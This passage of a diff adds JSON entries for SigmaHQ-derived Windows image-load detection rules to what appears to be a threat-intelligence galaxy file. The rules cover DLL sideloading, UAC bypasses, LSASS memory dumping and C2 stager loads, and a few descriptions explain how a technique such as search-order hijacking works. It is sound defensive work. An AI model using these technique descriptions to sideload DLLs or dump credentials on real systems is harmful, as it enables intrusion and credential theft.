"attack.defense_evasion", + "attack.t1003.001" + ] + }, + "uuid": "8cde342c-ba48-4b74-b615-172c330f2e93", + "value": "Rundll32 Loading Renamed Comsvcs DLL" + }, + { + "description": "Detects signs of the WMI script host process %SystemRoot%\\system32\\wbem\\scrcons.exe functionality being used via images being loaded by a process.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/09/02", + "falsepositive": [ + "Legitimate event consumers", + "Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button" + ], + "filename": "image_load_scrcons_imageload_wmi_scripteventconsumer.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/HunterPlaybook/status/1301207718355759107", + "https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/", + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_scrcons_imageload_wmi_scripteventconsumer.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.003" + ] + }, + "uuid": "b439f47d-ef52-4b29-9a2f-57d8a96cb6b8", + "value": "WMI Script Host Process Image Loaded" + }, + { + "description": "Detects DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc", + "meta": { + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "creation_date": "2022/08/17", + "falsepositive": [ + "Applications that load the same dlls mentioned in the detection section. Investigate them and filter them out if a lot FPs are caused.", + "Dell SARemediation plugin folder (C:\\Program Files\\Dell\\SARemediation\\plugin\\log.dll) is known to contain the 'log.dll' file.", + "The Canon MyPrinter folder 'C:\\Program Files\\Canon\\MyPrinter\\' is known to contain the 'log.dll' file" + ], + "filename": "image_load_side_load_antivirus.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_antivirus.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ] + }, + "uuid": "552b6b65-df37-4d3e-a258-f2fc4771ae54", + "value": "Antivirus Software DLL Sideloading" + }, + { + "description": "Detects DLL sideloading of \"dbgcore.dll\"", + "meta": { + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "creation_date": "2022/10/25", + "falsepositive": [ + "Legitimate applications loading their own versions of the DLL mentioned in this rule" + ], + "filename": "image_load_side_load_dbgcore_dll.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbgcore_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ] + }, + "uuid": "9ca2bf31-0570-44d8-a543-534c47c33ed7", + "value": "DLL Sideloading Of DBGCORE.DLL" + }, + { + "description": "Detects DLL sideloading of \"dbghelp.dll\"", + "meta": { + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "creation_date": "2022/10/25", + "falsepositive": [ + "Legitimate applications loading their own versions of the DLL mentioned in this rule" + ], + "filename": "image_load_side_load_dbghelp_dll.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ] + }, + "uuid": "6414b5cd-b19d-447e-bb5e-9f03940b5784", + "value": "DLL Sideloading Of DBGHELP.DLL" + }, + { + "description": "Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64...)", + "meta": { + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research), Chris Spehn (research WFH Dridex), XForceIR (SideLoadHunter Project)", + "creation_date": "2022/08/14", + "falsepositive": [ + "Legitimate applications loading their own versions of the DLLs mentioned in this rule" + ], + "filename": "image_load_side_load_from_non_system_location.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://hijacklibs.net/", + "https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/", + "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", + "https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_from_non_system_location.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ] + }, + "uuid": "4fc0deee-0057-4998-ab31-d24e46e0aba4", + "value": "System DLL Sideloading From Non System Locations" + }, + { + "description": "Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location", + "meta": { + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "creation_date": "2022/08/17", + "falsepositive": [ + "Unlikely" + ], + "filename": "image_load_side_load_office_dlls.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_office_dlls.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ] + }, + "uuid": "829a3bdf-34da-4051-9cf4-8ed221a8ae4f", + "value": "Microsoft Office DLL Sideload" + }, + { + "description": "Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc)", + "meta": { + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "creation_date": "2022/08/17", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_side_load_third_party.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_third_party.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ] + }, + "uuid": "f9df325d-d7bc-4a32-8a1a-2cc61dcefc63", + "value": "Third Party Software DLL Sideloading" + }, + { + "description": "Detects DLL sideloading of DLLs that are part of web browsers", + "meta": { + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "creation_date": "2022/08/17", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_side_load_web_browsers.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_web_browsers.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ] + }, + "uuid": "72ca7c75-bf85-45cd-aca7-255d360e423c", + "value": "Web Browsers DLL Sideloading" + }, + { + "description": "Detects SILENTTRINITY stager use", + "meta": { + "author": "Aleksey Potapov, oscd.community", + "creation_date": "2019/10/22", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_silenttrinity_stage_use.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://github.com/byt3bl33d3r/SILENTTRINITY", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_silenttrinity_stage_use.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071" + ] + }, + "uuid": "75c505b1-711d-4f68-a357-8c3fe37dbf2d", + "value": "SILENTTRINITY Stager Execution" + }, + { + "description": "Detect DLL Load from Spooler Service backup folder", + "meta": { + "author": "FPT.EagleEye, Thomas Patzke (improvements)", + "creation_date": "2021/06/29", + "falsepositive": [ + "Loading of legitimate driver" + ], + "filename": "image_load_spoolsv_dll_load.yml", + "level": "informational", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://github.com/hhlxf/PrintNightmare", + "https://github.com/ly4k/SpoolFool", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_spoolsv_dll_load.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574", + "cve.2021.1675", + "cve.2021.34527" + ] + }, + "uuid": "02fb90de-c321-4e63-a6b9-25f4b03dfd14", + "value": "Windows Spooler Service Suspicious Binary Load" + }, + { + "description": "Detects the load of advapi31.dll by a process running in an uncommon folder", + "meta": { + "author": "frack113", + "creation_date": "2022/02/03", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_susp_advapi32_dll.yml", + "level": "informational", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://github.com/hlldz/Phant0m", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_advapi32_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ] + }, + "uuid": "d813d662-785b-42ca-8b4a-f7457d78d5a9", + "value": "Suspicious Load of Advapi31.dll" + }, + { + "description": "Detects cmstp loading \"dll\" or \"ocx\" files from suspicious locations", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/30", + "falsepositive": [ + "Unikely" + ], + "filename": "image_load_susp_cmstp.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/TTPs/Defense%20Evasion/T1218%20-%20Signed%20Binary%20Proxy%20Execution/T1218.003%20-%20CMSTP/Procedures.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_cmstp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.003" + ] + }, + "uuid": "75e508f7-932d-4ebc-af77-269237a84ce1", + "value": "Cmstp Suspicious DLL Load" + }, + { + "description": "Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes.\nTools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll.\nAs an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.\n", + "meta": { + "author": "Perez Diego (@darkquassar), oscd.community, Ecco", + "creation_date": "2019/10/27", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_susp_dbghelp_dbgcore_load.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump", + "https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html", + "https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_dbghelp_dbgcore_load.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "0e277796-5f23-4e49-a490-483131d4f6e1", + "value": "Load of dbghelp/dbgcore DLL from Suspicious Process" + }, + { + "description": "Detects when a system process (ie located in system32, syswow64...etc) loads a DLL from a suspicious location such as %temp%", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/17", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_susp_dll_load_system_process.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC (Idea)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_dll_load_system_process.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ] + }, + "uuid": "9e9a9002-56c4-40fd-9eff-e4b09bfa5f6c", + "value": "DLL Load By System Process From Suspicious Locations" + }, + { + "description": "The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.", + "meta": { + "author": "NVISO", + "creation_date": "2020/05/04", + "falsepositive": [ + "Unlikely" + ], + "filename": "image_load_susp_fax_dll.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://windows-internals.com/faxing-your-way-to-system/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_fax_dll.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1574.001", + "attack.t1574.002" + ] + }, + "uuid": "828af599-4c53-4ed2-ba4a-a9f835c434ea", + "value": "Fax Service DLL Search Order Hijack" + }, + { + "description": "Detects any assembly DLL being loaded by an Office Product", + "meta": { + "author": "Antonlovesdnb", + "creation_date": "2020/02/19", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "filename": "image_load_susp_office_dotnet_assembly_dll_load.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_assembly_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ] + }, + "uuid": "ff0f2b05-09db-4095-b96d-1b75ca24894a", + "value": "dotNET DLL Loaded Via Office Applications" + }, + { + "description": "Detects CLR DLL being loaded by an Office Product", + "meta": { + "author": "Antonlovesdnb", + "creation_date": "2020/02/19", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "filename": "image_load_susp_office_dotnet_clr_dll_load.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_clr_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ] + }, + "uuid": "d13c43f0-f66b-4279-8b2c-5912077c1780", + "value": "CLR DLL Loaded Via Office Applications" + }, + { + "description": "Detects any GAC DLL being loaded by an Office Product", + "meta": { + "author": "Antonlovesdnb", + "creation_date": "2020/02/19", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "filename": "image_load_susp_office_dotnet_gac_dll_load.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_gac_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ] + }, + "uuid": "90217a70-13fc-48e4-b3db-0d836c5824ac", + "value": "GAC DLL Loaded Via Office Applications" + }, + { + "description": "Detects DSParse DLL being loaded by an Office Product", + "meta": { + "author": "Antonlovesdnb", + "creation_date": "2020/02/19", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "filename": "image_load_susp_office_dsparse_dll_load.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dsparse_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ] + }, + "uuid": "a2a3b925-7bb0-433b-b508-db9003263cc4", + "value": "Active Directory Parsing DLL Loaded Via Office Applications" + }, + { + "description": "Detects Kerberos DLL being loaded by an Office Product", + "meta": { + "author": "Antonlovesdnb", + "creation_date": "2020/02/19", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "filename": "image_load_susp_office_kerberos_dll_load.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_kerberos_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ] + }, + "uuid": "7417e29e-c2e7-4cf6-a2e8-767228c64837", + "value": "Active Directory Kerberos DLL Loaded Via Office Applications" + }, + { + "description": "Detects the image load of Python Core indicative of a Python script bundled with Py2Exe.", + "meta": { + "author": "Patrick St. John, OTR (Open Threat Research)", + "creation_date": "2020/05/03", + "falsepositive": [ + "Legitimate Py2Exe Binaries", + "Known false positive caused with Python Anaconda" + ], + "filename": "image_load_susp_python_image_load.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://www.py2exe.org/", + "https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_python_image_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.002" + ] + }, + "uuid": "cbb56d62-4060-40f7-9466-d8aaf3123f83", + "value": "Python Py2Exe Image Load" + }, + { + "description": "Detects CLR DLL being loaded by an scripting applications", + "meta": { + "author": "omkar72, oscd.community", + "creation_date": "2020/10/14", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_susp_script_dotnet_clr_dll_load.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://github.com/tyranid/DotNetToJScript", + "https://thewover.github.io/Introducing-Donut/", + "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.t1055" + ] + }, + "uuid": "4508a70e-97ef-4300-b62b-ff27992990ea", + "value": "CLR DLL Loaded Via Scripting Applications" + }, + { + "description": "A General detection for processes loading System.Drawing.ni.dll. This could be an indicator of potential Screen Capture.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/05/02", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_susp_system_drawing_load.yml", + "level": "low", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/16", + "https://threathunterplaybook.com/evals/apt29/detections/7.A.1_3B4E5808-3C71-406A-B181-17B0CE3178C9.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_system_drawing_load.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ] + }, + "uuid": "666ecfc7-229d-42b8-821e-1a8f8cb7057c", + "value": "Suspicious System.Drawing Load" + }, + { + "description": "Detects Loading of samlib.dll, WinSCard.dll from untypical process e.g. through process hollowing by Mimikatz", + "meta": { + "author": "Markus Neis", + "creation_date": "2018/01/07", + "falsepositive": [ + "Very likely, needs more tuning" + ], + "filename": "image_load_susp_uncommon_image_load.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_uncommon_image_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "e32ce4f5-46c6-4c47-ba69-5de3c9193cd7", + "value": "Possible Process Hollowing Image Loading" + }, + { + "description": "Detects the image load of VSS DLL by uncommon executables", + "meta": { + "author": "frack113", + "creation_date": "2022/10/31", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_susp_vss_dll_load.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://github.com/ORCx41/DeleteShadowCopies", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_vss_dll_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.impact", + "attack.t1490" + ] + }, + "uuid": "37774c23-25a1-4adb-bb6d-8bb9fd59c0f8", + "value": "Image Load of VSS Dll by Uncommon Executable" + }, + { + "description": "Detects the image load of vss_ps.dll by uncommon executables", + "meta": { + "author": "Markus Neis, @markus_neis", + "creation_date": "2021/07/07", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_susp_vss_ps_load.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://www.virustotal.com/gui/file/ba88ca45589fae0139a40ca27738a8fc2dfbe1be5a64a9558f4e0f52b35c5add", + "https://twitter.com/am0nsec/status/1412232114980982787", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_vss_ps_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.impact", + "attack.t1490" + ] + }, + "uuid": "333cdbe8-27bb-4246-bf82-b41a0dca4b70", + "value": "Image Load of VSS_PS.dll by Uncommon Executable" + }, + { + "description": "Detects DLL's Loaded Via Word Containing VBA Macros", + "meta": { + "author": "Antonlovesdnb", + "creation_date": "2020/02/19", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "filename": "image_load_susp_winword_vbadll_load.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_winword_vbadll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ] + }, + "uuid": "e6ce8457-68b1-485b-9bdd-3c2b5d679aa9", + "value": "VBA DLL Loaded Via Microsoft Word" + }, + { + "description": "IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\\Windows\\System32\\ by default.\nAn attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services \"svchost.exe -k netsvcs\" to gain code execution on a remote machine.\n", + "meta": { + "author": "SBousseaden", + "creation_date": "2019/10/28", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_svchost_dll_search_order_hijack.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_svchost_dll_search_order_hijack.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1574.002", + "attack.t1574.001" + ] + }, + "uuid": "602a1f13-c640-4d73-b053-be9a2fa58b77", + "value": "Svchost DLL Search Order Hijack" + }, + { + "description": "Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool to tamper with Windows event logs", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/09/07", + "falsepositive": [ + "Other DLLs with that import hash" + ], + "filename": "image_load_sysmon_disable_sharpevtmute.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://github.com/bats3c/EvtMute", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_sysmon_disable_sharpevtmute.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ] + }, + "uuid": "49329257-089d-46e6-af37-4afce4290685", + "value": "SharpEvtMute EvtMuteHook Load" + }, + { + "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", + "meta": { + "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative", + "creation_date": "2020/10/06", + "falsepositive": [ + "Legitimate usage by software developers/testers" + ], + "filename": "image_load_tttracer_mod_load.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", + "https://twitter.com/mattifestation/status/1196390321783025666", + "https://twitter.com/oulusoyum/status/1191329746069655553", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_tttracer_mod_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.credential_access", + "attack.t1218", + "attack.t1003.001" + ] + }, + "uuid": "e76c8240-d68f-4773-8880-5c6f63595aaf", + "value": "Time Travel Debugging Utility Usage" + }, + { + "description": "Detects the \"iscsicpl.exe\" UAC bypass technique that leverages a DLL Search Order hijacking technique to load a custom DLL's from temp or a any user controlled location in the users %PATH%", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/17", + "falsepositive": [ + "Unknown" + ], + "filename": "image_load_uac_bypass_iscsicpl.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC", + "https://twitter.com/wdormann/status/1547583317410607110", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_iscsicpl.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "9ed5959a-c43c-4c59-84e3-d28628429456", + "value": "UAC Bypass Using Iscsicpl - ImageLoad" + }, + { + "description": "Attempts to load dismcore.dll after dropping it", + "meta": { + "author": "oscd.community, Dmitry Uchakin", + "creation_date": "2020/10/06", + "falsepositive": [ + "Actions of a legitimate telnet client" + ], + "filename": "image_load_uac_bypass_via_dism.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://steemit.com/utopian-io/@ah101/uac-bypassing-utility", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_via_dism.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "attack.t1574.002" + ] + }, + "uuid": "a5ea83a7-05a5-44c1-be2e-addccbbd8c03", + "value": "UAC Bypass With Fake DLL" + }, + { + "description": "Detects potential use of UIPromptForCredentials functions by looking for some of the DLLs needed for it.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/10/20", + "falsepositive": [ + "Other legitimate processes loading those DLLs in your environment." + ], + "filename": "image_load_uipromptforcreds_dlls.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://securitydatasets.com/notebooks/small/windows/06_credential_access/SDWIN-201020013208.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password", + "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-creduipromptforcredentialsa", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uipromptforcreds_dlls.yml" + ], + "tags": [ + "attack.credential_access", + "attack.collection", + "attack.t1056.002" + ] + }, + "uuid": "9ae01559-cf7e-4f8e-8e14-4c290a1b4784", + "value": "UIPromptForCredentials DLLs" + }, + { + "description": "Loading unsigned image (DLL, EXE) into LSASS process", + "meta": { + "author": "Teymur Kheirkhabarov, oscd.community", + "creation_date": "2019/10/22", + "falsepositive": [ + "Valid user connecting using RDP" + ], + "filename": "image_load_unsigned_image_loaded_into_lsass.yml", + "level": "medium", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_unsigned_image_loaded_into_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "857c8db3-c89b-42fb-882b-f681c7cf4da2", + "value": "Unsigned Image Loaded Into LSASS Process" + }, + { + "description": "Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/09/07", + "falsepositive": [ + "Rarely observed" + ], + "filename": "image_load_usp_svchost_clfsw32.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_usp_svchost_clfsw32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ] + }, + "uuid": "33a2d1dd-f3b0-40bd-8baf-7974468927cc", + "value": "APT PRIVATELOG Image Load Pattern" + }, + { + "description": "Detects loading of a DLL by the VMware Xfer utility from the non-default directory which may be an attempt to sideload arbitrary DLL", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/02", + "falsepositive": [ + "Unlikely" + ], + "filename": "image_load_vmware_xfer_load_dll_from_nondefault_path.yml", + "level": "high", + "logsource.category": "image_load", + "logsource.product": "windows", + "refs": [ + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_vmware_xfer_load_dll_from_nondefault_path.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "9313dc13-d04c-46d8-af4a-a930cc55d93b", + "value": "VMware Xfer Loading DLL from Nondefault Path" + }, + { + "description": "Detects threat actors proxy executing code and bypassing application controls by leveraging 